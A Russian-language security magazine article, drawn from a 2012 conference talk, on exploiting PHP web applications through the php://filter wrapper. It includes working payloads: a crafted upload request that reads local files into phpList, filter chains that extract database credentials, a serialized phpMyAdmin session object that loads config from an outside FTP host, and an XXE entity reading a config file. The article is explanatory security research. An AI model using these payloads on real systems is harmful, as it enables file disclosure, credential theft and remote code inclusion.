Содержание статьи
Уже не первый день многие исследователи ломают голову над особенностями реализации языка PHP и логики работы его функций, и я в том числе. Объектом моего недавнего исследования стали врапперы этого чудесного языка. Как и обещал, выдаю свежую порцию 0-day наработок, основанных на использовании враппера php://filter, которые представляют собой новые техники эксплуатации уязвимостей в веб-приложениях.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
INTRO
Сегодня мы продолжаем тему исследования wrapper’ов языка PHP с точки зрения атаки на веб-приложения (первую часть ты можешь найти в прошлом номере или в PDF на диске). Напомню, wrapper’ы — это абстрактный слой для работы с файлами, сетью, сжатыми данными и другими ресурсами. Это ресурс, из которого можно читать, в который можно писать и внутри которого можно перемещаться. В предыдущей статье, опубликованной в августовском номере («Ядовитая обертка»), мы рассмотрели возможности использования wrapper’ов для работы с архивами, а также wrapper’а data. В прошлый раз мы использовали врапперы для эксплуатации уязвимости в TimThumb v1.x, сегодня же мы продолжим ресерч Стефана Эссера относительно системы веб-аналитики Piwik, углубимся в эксплуатацию уязвимостей в phpMyAdmin и phpList. И все это возможно с использованием враппера php://filter. Готов? Поехали!
Фильтруй PHP правильно
Враппер php://filter — это вид метаобертки, позволяющий применять фильтры к потоку во время открытия. Использование фильтров дает возможность трансформировать данные, получаемые из файла или записываемые в файл. В PHP есть встроенные фильтры, доступные по умолчанию, но с помощью враппера php://filter также можно задействовать и пользовательские фильтры, созданные с помощью функции stream_filter_register. При этом использование неопределенных фильтров не влияет на обработку данных другими фильтрами. Например, если фильтр anyfilter не определен, то функция readfile просто выведет содержимое /etc/hosts полностью в верхнем регистре.
readfile("php://filter/read=string.toupper|\
anyfilter/resource=/etc/hosts");
Эта особенность может быть полезна для обхода проверок, на основе strpos, preg_match и других.
Удаление стопперов
Встроенные фильтры convert.base64-decode и string.strip_tags позволяют удалять часть данных из потока. В 2009 году Стефан Эссер использовал эту особенность фильтра convert.base64-decode в эксплойте для Piwik (bit.ly/4tSIKo). В своем адвизори Стефан Эссер указывал на тот факт, что с помощью php://filter мы можем создавать файлы с произвольным содержимым, имея только возможность внедрять свои данные в конец файла.
Но с 2009 года остались не раскрыты два важных вопроса: каким образом можно уничтожать «ненужные» данные и какие возможности дает применение фильтров?
Чтобы разобраться с этим, необходимо более детально изучить работу функций base64_encode/base64_decode.
Описание алгоритма Base64
Алгоритм Base64 описан в параграфе 6.8 RFC 2045, идея алгоритма — обратимое кодирование, которое переводит строки, состоящие из символов восьмибитной кодовой таблицы, в строки, состоящие из таких символов:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
В дальнейшем набор этих символов будем называть алфавитом Base64 или просто алфавитом. Польза от такого преобразования заключается в том, что данные сохраняются при передаче в любых сетях и между любыми устройствами (вне зависимости от кодировки). В основе алгоритма лежит сведение трех восьмерок битов (24) к четырем шестеркам (тоже 24) и представление этих шестерок в виде символов алфавита Base64. То есть входящая строка разбивается на части по три символа (если в последнюю часть попадает только один или два символа, то оставшиеся биты заполняются нулями) и каждая часть преобразуется в строку из четырех символов алфавита. Например, если мы хотим закодировать Base64 строку avw, сначала получим строку, состоящую из байтов, соответствующих этим символам. Это можно сделать, например, так:
$s='avw';$l=strlen($s);$bin_s='';
for($i=0; $i<$l; $i++){
$bin_c=decbin(ord($s[$i]));
$r=8-strlen($bin_c);
if ($r != 0) $bin_c=str_repeat("0", $r).$bin_c;
$bin_s.=$bin_c;
}
Далее разобьем эту строку на подстроки из шести символов и получившимся двоичным числам сопоставим символы из алфавита.
$bin_len=strlen($bin_s);
$base64_c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcd\
efghijklmnopqrstuvwxyz0123456789+/";
for($i=0; $i<$bin_len; $i=$i+6){
$bsc=substr($bin_s, $i, 6);
$j=bindec($bsc);
$base64_s.=$base64_c[$j];
}
В итоге мы получим то же самое, что и при обычном применении base64_encode к строке avw. Теперь рассмотрим работу функции base64_decode. Как несложно догадаться, при процессе декодирования, во входящей строке будут учитываться только символы алфавита, а все остальные игнорироваться. При этом входящая строка будет разбиваться на части по четыре символа и из них будет делаться три символа восьмибитной кодовой таблицы. Поэтому применение base64_decode к строке несколько раз будет уменьшать длину строки, и на каком-то шаге мы получим пустую строку. На этом несложном замечании, по сути, и основывается прием Эссера с выдавливанием стоппера. Но какую строку добавлять в конец файла, чтобы в результате получился файл с произвольным содержимым? Так как входящая строка разбивается на части по четыре символа алфавита и каждая часть декодится отдельно, то для того, чтобы декодирование стоппера не влияло на декодирование наших данных, между ними и стоппером должна стоять строка, выполняющая роль заглушки, то есть на каждом шаге декодирования дополняющая длину стоппера до кратной четырем. Чтобы лучше понять этот важный момент, сконструируем заглушку для приема Эссера.
$configFile = "; <?php exit; ?> \
DO NOT REMOVE THIS LINE\n";
$configFile .= "; file automatically \
generated or modified by Piwik; you can manually \
override the default values in global.ini.php by \
redefining them in this file.\n";
Сначала удалим из строки $configFile все символы, не входящие в алфавит Base64, и вычислим ее длину. Получаем 147, значит, сразу нам нужно будет добавить один символ. Добавим /, потому что при декодировании этот символ будет проинтерпретирован как 111111 и к нему спереди добавится еще два бита, то есть ASCII-код последнего символа после декодирования будет либо 63, либо 127, либо 191, либо 255, поэтому получится символ не из алфавита и при следующем применении base64_decode он будет проигнорирован. Итак, при циклическом выполнении действий: подсчитываем длину, добавляем необходимые символы, декодим, очищаем строку от символов, не входящих в алфавит, снова подсчитываем длину и так далее. Мы рано или поздно получим пустую строку. На данном этапе важно запомнить, сколько добавляли символов после каждого применения base64_decode. Эти значения удобней всего хранить в массиве, в нашем случае это будет такой массив: $a[0]=1 $a[1]=0 $a[2]=1 $a[3]=3. При взгляде на него становится ясно, что заглушка будет иметь вид '/'.$s2.$s3, где строки $s2 и $s3 состоят из символов алфавита и их длины кратны четырем, двойное применение base64_decode к $s2 даст / и тройное применение base64_decode к $s3 дает ///. Условие «состоят из символов алфавита, и длины кратны четырем» необходимо для того, чтобы данные, находящиеся за заглушкой, декодировались без изменений (уже говорилось, что при Base64-декодировании строка разбивается на части по четыре символа). Строку $s2 можно построить так: применяем base64_encode к обратному слешу, получаем строку Lw==, которая содержит только два символа алфавита, поэтому двойное равенство в конце (==) заменим на g/. Конечно, это не единственная замена, которая нам подходит, главное, чтобы после применения base64_decode получалась строка, отличающаяся от обратного слеша (первоначальной строки) только спецсимволами, которые пропадут при следующем декодировании. Далее снова энкодим и снова меняем двойное равенство на g/, в итоге получаем THdnLwg/. Аналогично строится строка $s3, в нашем случае она будет такой: VEhrNGRnZy8/. Следующий скрипт демонстрирует, как «выдавливается» стоппер:
$configFile = "; <?php exit; ?> DO NOT REMOVE THIS LINE\n";
$configFile .= "; file automatically generated or modified\
by Piwik; you can manually override the default values in \
global.ini.php by redefining them in this file.\n";
$S=$configFile."/THdnLwg/VEhrNGRnZy8/".base64_encode(base64_encode(
base64_encode(base64_encode(base64_encode('Yes! It Works!')))));
for ($i = 1; $i <= 5 ; $i++) {
print $i."\n";
$S=base64_decode($S);
print $S."\n";
}
При всех выгодах данный метод уничтожения стопперов не может быть универсальным. В 2009 году было замечено, что функция base64_decode некорректно обрабатывает строки, содержащие в середине знаки равенства [#47174]. Этот баг был довольно оперативно исправлен для функции base64_decode, но для фильтра convert.base64-decode никаких исправлений сделано не было. Поэтому, если при «выдавливании» на каком-то шаге получаются данные, содержащие знак равенства, дальнейшее применение фильтра convert.base64-decode уничтожит преобразуемую строку.
$s = 'php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP';
var_dump(file_get_contents($s)); // print: string(0) ""
Но не только фильтр convert.base64-decode может удалять данные из потока, более эффективен в этом плане фильтр string.strip_tags.
Особенности фильтра string.strip_tags
Фильтр string.strip_tags появился в PHP в версии 5.0.0, использование этого фильтра эквивалентно обработке всех данных потока функцией strip_tags(). Фильтр может принимать аргументы в одной из двух форм: либо в виде строки со списком тегов, как и второй аргумент функции strip_tags(), либо массив названий тегов. Например, чтобы удалить из строки все теги, кроме <b><i><u>, можно использовать фильтр string.strip_tags таким образом:
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', \
STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to \
a <h1>level 1 heading</h1>\n");
fclose($fp);
Применение фильтра string.strip_tags удаляет не только HTML-теги, также будут удалены PHP-теги и HTML-комментарии.
HTML Tag: <abc>
PHP Tag:<? ?>
HTML Comments:<!-- -->
Поэтому, если необходимо избавиться от стоппера, нужно каким-то образом не дать фильтру string.strip_tags удалить внедряемый PHP-код. Самый простой способ — это преобразовать нужные символы в Quoted-Printable формат (RFC2045, раздел 6.7), а потом применить фильтр convert.quoted-printable-decode. Использование фильтра convert.quoted-printable-decode эквивалентно обработке всех данных потока функцией quoted_printable_decode(). Эта функция обрабатывает строку посимвольно, если встречает символы в кодировке quoted-printable, то преобразует их в символы восьмибитной кодовой таблицы. Например, если необходимо удалить вот такой простой стоппер: "; <? die; ?>\n", то с помощью фильтра convert.base64-decode это можно сделать следующим образом:
$content = "; <? die; ?>\n";
$content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSlZVRTlQUT09]\n";
$file = 'php://filter/write=convert.base64-decode|convert.\
base64-decode|convert.base64-decode/resource=./PoC';
file_put_contents($file, $content);
При этом потребуется еще найти строку, выполняющую роль заглушки, в данном случае это будет /Ly8v. Удалить этот же стоппер с помощью фильтра string.strip_tags можно намного проще.
$content = "; <? die; ?>\n";
$content .= "=3C=3Fprint('PHP');\n";
$file = 'php://filter/write=string.strip_tags|\
convert.quoted-printable-decode/resource=./PoC';
file_put_contents($file, $content);
Здесь '=3C', '=3F' — это символы '<', '?' в Quoted-Printable формате. Важно отметить, что фильтр convert.quoted-printable-decode не даст ожидаемого результата, если в строке содержится знак равенства, после которого нет шестнадцатеричного кода символа.
$s='php://filter/read=convert.\
quoted-printable-decode/resource=data:,dGVz=BAD';
var_dump(file_get_contents($s)); // print: string(0) ""
Поэтому стоит рассмотреть подробней и другие комбинации фильтров.
string.strip_tags + convert.base64-decode = PROFIT
Для более эффективного использования фильтра string.strip_tags необходимо изучить некоторые его особенности. В официальной документации можно найти упоминание следующего факта: если после символа < идет пробел, то символ < не воспринимается как начало тега и удаляться не будет. Это очень важный момент, так как при «выдавливании» в преобразуемых данных могут появиться символы <, поэтому, применяя к таким данным фильтр string.strip_tags, возможно удалить сразу довольно большую часть данных. Но важно знать, что будет интерпретироваться как HTML-тег. Это легко определить с помощью фаззинга.
for($i=0; $i<256; $i++) {
$s='Hello <'.chr($i).'World > ABC';
echo $i.' -- '.chr($i).' -- '.strip_tags($s)."\n";
}
После запуска этого скрипта становится ясно, что если после символа < идут символы с ASCII-кодами {9,10,11,12,13,32}, то знак < не воспринимается как начало тега. Еще один важный момент — наличие кавычек внутри тегов. Если тег содержит лишнюю (незакрытую) кавычку (' или "), то обрезается все после нее. Строка между кавычками воспринимается как атрибут тега и поэтому игнорируется полностью.
echo strip_tags('Hello <<Wor"ld>U=b >> ABC');
# print: Hello
echo strip_tags('Hello <<Wor"ld>U=b >"> ABC');
# print: Hello ABC
echo strip_tags('Hello <<Wor"ld>U=b ><"> ABC');
# print: Hello ABC
При этом strip_tags игнорирует экранирование кавычек [#45599].
Обход проверки на основе getimagesize
С помощью фильтров можно удалять не только стопперы. Можно, например, модифицировать содержимое изображения, после того как оно прошло проверку на основе функции getimagesize. В качестве примера рассмотрим скрипт, в котором присутствуют такие участки кода:
extract($_REQUEST);
..................
include $templatedir.'/header.html';
..................
if(!empty($_FILES) ) {
$file_info = getimagesize($_FILES['image']['tmp_name']);
if($file_info['mime'] == 'image/jpeg'){
if(move_uploaded_file($_FILES['image']\
['tmp_name'], $folder.'/avatar.jpg'))
.................
При отсутствии NULL-байта может показаться, что нет возможности ни проэксплуатировать RFI, ни загрузить что-то, кроме файла avatar.jpg. Но врапперы предоставляют нам новые способы эксплуатации подобного рода уязвимостей.
- В EXIF-изображение внедряем данные в необходимом формате и загружаем это изображение, определив переменную $folder таким образомfolder=php://filter/write=string.strip_tags|convert.base64-decode/resource=/tmp/
После прохождения проверки getimagesize, но перед сохранением на диск изображение будет обработано фильтрами и превратится в zip-архив.
- Инклюдим файл внутри этого zip-архива. Для этого используем враппер zip. Более подробно об его использовании я рассказал в предыдущей статье (статья «Ядовитая обертка», август 2012 года).
templatedir=zip:///tmp/avatar.jpg#/my
С помощью фильтров можно не только «выдавливать» данные, но и просто удалять часть файла, если есть такая необходимость.
Частичное чтение файлов в phpList <= 2.10.13
Рассмотрим довольно интересную уязвимость в скрипте phpList 2.10.13. Причиной данной уязвимости является возможность изменять структуру в массиве $_FILES. Первое упоминание об этой особенности массива $_FILES появилось еще в 2004 году (bit.ly/PEZItl). Но исправлено это было только в 2012-м (bit.ly/MOI7x1). Итак, в phpList 2.10.13, в файле ./admin/commonlib/pages/user.php можно найти следующий код:
if (is_array($_FILES)) { ## only avatars are files
foreach ($_FILES['attribute']['name'] as $key => $val) {
if (!empty($_FILES['attribute']['name'][$key])) {
$tmpnam = $_FILES['attribute']['tmp_name'][$key];
$size = $_FILES['attribute']['size'][$key];
if ($size < MAX_AVATAR_SIZE) {
$avatar = file_get_contents($tmpnam);
Sql_Query(sprintf('replace into %s (userid,attributeid,value)
values(%d,%d,"%s")',$tables["user_attribute"],$id,$key,
base64_encode($avatar)));
Несложно понять, что для того, чтобы использовать этот код для загрузки произвольных локальных файлов в базу данных достаточно создать такую HTML-форму:
<form action="http://localhost/lists/admin/?page=user&id=1" method="POST"
enctype="multipart/form-data" >
<input type="file" name="attribute[tmp_name][">
<input type="file" name="attribute[size][">
<input type="file" name="attribute[[tmp_name]">
<input type="file" name="attribute[name][">
<input name="change" value="Save Changes" type="submit">
</form>
Открыв эту HTML-форму в браузере и выбрав необходимые файлы, на удаленный сервер можно отослать следующий POST-запрос (в поле Content-Type указываем путь до локального файла):
POSTDATA =-----------------------------277443277232757
Content-Disposition: form-data; name="attribute[tmp_name]["; filename="image.jpg"
Content-Type: /path/to/local/file.php
1
-----------------------------277443277232757
Content-Disposition: form-data; name="attribute[size]["; filename="1"
Content-Type: application/octet-stream
-----------------------------277443277232757
Content-Disposition: form-data; name="attribute[[tmp_name]"; filename="1"
Content-Type: application/octet-stream
-----------------------------277443277232757
Content-Disposition: form-data; name="attribute[name]["; filename="1"
Content-Type: application/octet-stream
-----------------------------277443277232757
Content-Disposition: form-data; name="change"
Save Changes
-----------------------------277443277232757--
В результате в массиве $_FILES появится элемент
$_FILES[attribute][tmp_name][[type] = /path/to/local/file.php
Это, в свою очередь, приведет к тому, что в базу данных будет загружено содержимое файла /path/to/local/file.php. После всех этих манипуляций останется только получить данные из соответствующей ячейки с помощью SQL-инъекции. При этом файлы будут загружаться в таблицу phplist_user_user_attribute, в поле value, которое имеет тип varchar(255). К тому же перед загрузкой содержимое файла обрабатывается функцией base64_encode, что, по сути, дает возможность сохранить в базу только 192 символа, но это ограничение можно обойти с помощью враппера php://filter. Например, если необходимо узнать пароль от базы данных из такого файла (важно, что в этом файле нет знаков равенства):
/
* The database configurations.
*
* MySQL settings - You can get this info from your web host
/** The name of the database */
define('DB_NAME', 'cms');
/** MySQL database username */
define('DB_USER', 'dbuser');
/** MySQL database password */
define('DB_PASSWORD', 's3creTp4ss');
/** MySQL hostname */
define('DB_HOST', 'localhost');
Можно обработать содержимое файла фильтром convert.base64-decode.
php://filter/read=convert.base64-decode/resource=/path/to/local/db.php
Таким образом в базу данных попадут уже 255 символов из необходимого нам файла, при этом символы не из алфавита Base64 будут проигнорированы. Если пароль от базы данных не будет содержать специальных символов, мы его узнаем полностью. Если использовать фильтр string.strip_tags, можно попытаться вырезать часть файла, и тем самым в базу данных уже загрузятся не первые 192 символа, а, возможно, какая-то другая часть файла. Например, можно узнать логин и пароль от базы данных из конфигурационного файла BBPress-a таким образом:
php://filter/convert.base64-encode|string.rot13|convert.base64-decode|string.strip_tags|
convert.base64-encode|string.rot13|convert.base64-decode/resource=/bbpress/bb-config.php
Векторы атак
Итак, что же дает нам применение фильтров при уязвимостях типа File Manipulation? В первую очередь появляется возможность трансформировать данные. Например, если, удалось внедрить данные в какой-либо файл, на атакуемом сервере мы можем с помощью php://filter/ его трансформировать и в результате получить уже файл с произвольным содержимым. Чем могут быть полезны такого рода файлы? Если нет возможности создавать файл в веб-руте, можно попробовать:
- Создать файл сессии. Создание сессии дает возможность произвести различные виды атак. Например, можно обойти авторизацию, если веб-приложение использует сессии для авторизации пользователей. Также можно реализовать unserialize bug через session_start(), если приложение содержит уязвимые магические методы. Тут уместно вспомнить про unserialize bug, в скрипте scripts/setup.php phpMyAdmin. Эта уязвимость была исправлена в версии 2.11.10 тем, что из скрипта scripts/setup.php был удален unserialize, принимающий данные от пользователя, при этом уязвимый магический метод так и остался в коде phpMyAdmin. Так как phpMyAdmin использует сессии, осталась возможность проэксплуатировать уязвимость метода __wakeup с помощью session_start(). Например, если у пентестера есть доступ в phpMyAdmin с привилегией FILE, он может создать файл сессии (с помощью оператора SELECT ... INTO OUTFILE):
xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:63:"ftp://myname:mypass@ftp.narod.ru/pathto/index.txt";}}
После того как нужный файл сессии создан, остается только обратиться к http://site.com/phpmyadmin/ с соответствующим PHPSESSID. Этот способ будет работать для всех версий phpMyAdmin.
- Создать или перезапись шаблоны. Если веб-приложение использует темплэты, то, перезаписывая или создавая новые темплэты, можно использовать уязвимости шаблонизаторов.
- Создать zip-архив и проэксплуатировать RFI.
- Создать/перезаписать файлы htaccess/htpasswd. Иногда бывает, что нельзя создавать файлы в веб-руте средствами PHP, но можно перезаписывать файлы htaccess/htpasswd. Перезапись этих файлов позволяет: обходить авторизацию, выполнять команды и даже получить информацию о конфигурации сервера Apache (bit.ly/lu9CuD, bit.ly/Qm2a5x). Кроме трансформации файлов, враппер php://filter дает возможность манипулировать функциями, которые обрабатывают файлы только определенного типа.
Функция parse_ini_file
Согласно официальной документации, функция parse_ini_file имеет следующий синтаксис
array parse_ini_file ( string $filename [, bool $process_sections = false
[,int $scanner_mode = INI_SCANNER_NORMAL ]] )
Эта функция загружает ini-файл, указанный в аргументе filename, и возвращает настройки из ini-файла в виде ассоциативного массива. Так как в ini-файлах обычно находятся важные для работы веб-приложения данные, функция parse_ini_file может работать только с локальными файлами, но при этом в качестве $filename можно использовать врапперы. Предположим, что у нас есть возможность внедрить данные в файл сессии, например, в скрипте есть такой код:
session_start();
$_SESSION['admin'] = $_POST['name'];
................................
$var = parse_ini_file($inifile);
require $var['require'];
Тогда, создав файл сессии /tmp/sess_dffdsdf24gssdgsd90 с таким содержимым:
admin|s:68:"Ly8vVnpOYWFHTnNNRXRqYlZaNFpGZHNlVnBVTUdsTU1sWXdXWGs1YjJJelRqQmplVWs5"
мы можем, используя фильтры, преобразовать этот файл в формат, доступный функции parse_ini_file:
php://filter/read=convert.base64-decode|convert.base64-decode|\
convert.base64-decode/resource= /tmp/sess_dffdsdf24gssdgsd90
Что в данном случае приведет к уязвимости Remote File Include.
XXE-атаки
XML — широко распространенный текстовый формат, предназначенный для хранения структурированных данных, которые используются при обмене информацией между программами. Хорошо известно, что в XML-документ можно добавлять содержимое внешних файлов с помощью внешних сущностей (external entities), но при этом итоговый документ должен быть well-formed. В PHP обойти это ограничение можно с помощью фильтра convert.base64-encode.
Bypass well-formed XML output check
<?xml version='1.0' standalone='yes'?>
<!DOCTYPE scan
[
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=./db.php">
]>
<scan>&xxe;</scan>
Но врапперы можно использовать не только внутри XML-документа, но и в функции simplexml_load_file и в методе DOMDocument::load. Это дает возможность произвести XXE-атаку при allow_url_fopen =Off, если есть возможность манипулировать именем файла.
Заключение
На этой ноте я завершаю свое повествование об использовании врапперов для построения продвинутых техник эксплуатации уязвимостей в веб-приложениях. Врапперы очень гибкая и функциональная штука, вполне возможно, что я еще вернусь к ним в будущих статьях. Напомню, что защититься от подобного рода атак достаточно просто: проверки на основе функций file_exists, is_file, filesize не дадут воспользоваться врапперами php://filter, zip://, data://, compress.zlib://.
При установленном патче Suhosin по умолчанию невозможно использовать врапперы в инклюдах, даже если директива allow_url_include имеет значение On. Для использования врапперов в таком случае необходимо добавить их в whitelist, например
Обертка PHP в вайт-листе Suhosin’а
suhosin.executor.include.whitelist = “php”
Теперь ты знаешь, что такое врапперы и как их правильно использовать. Попробуй взглянуть на закрытые уязвимости по-новому, возможно, их и не закрыли... Stay wrapped!
WWW
Данная статья основана на выступлении Алексея Москвина на международном форуме по практической безопасности Positive Hack Days 2012. Презентация доклада доступна по этому адресу.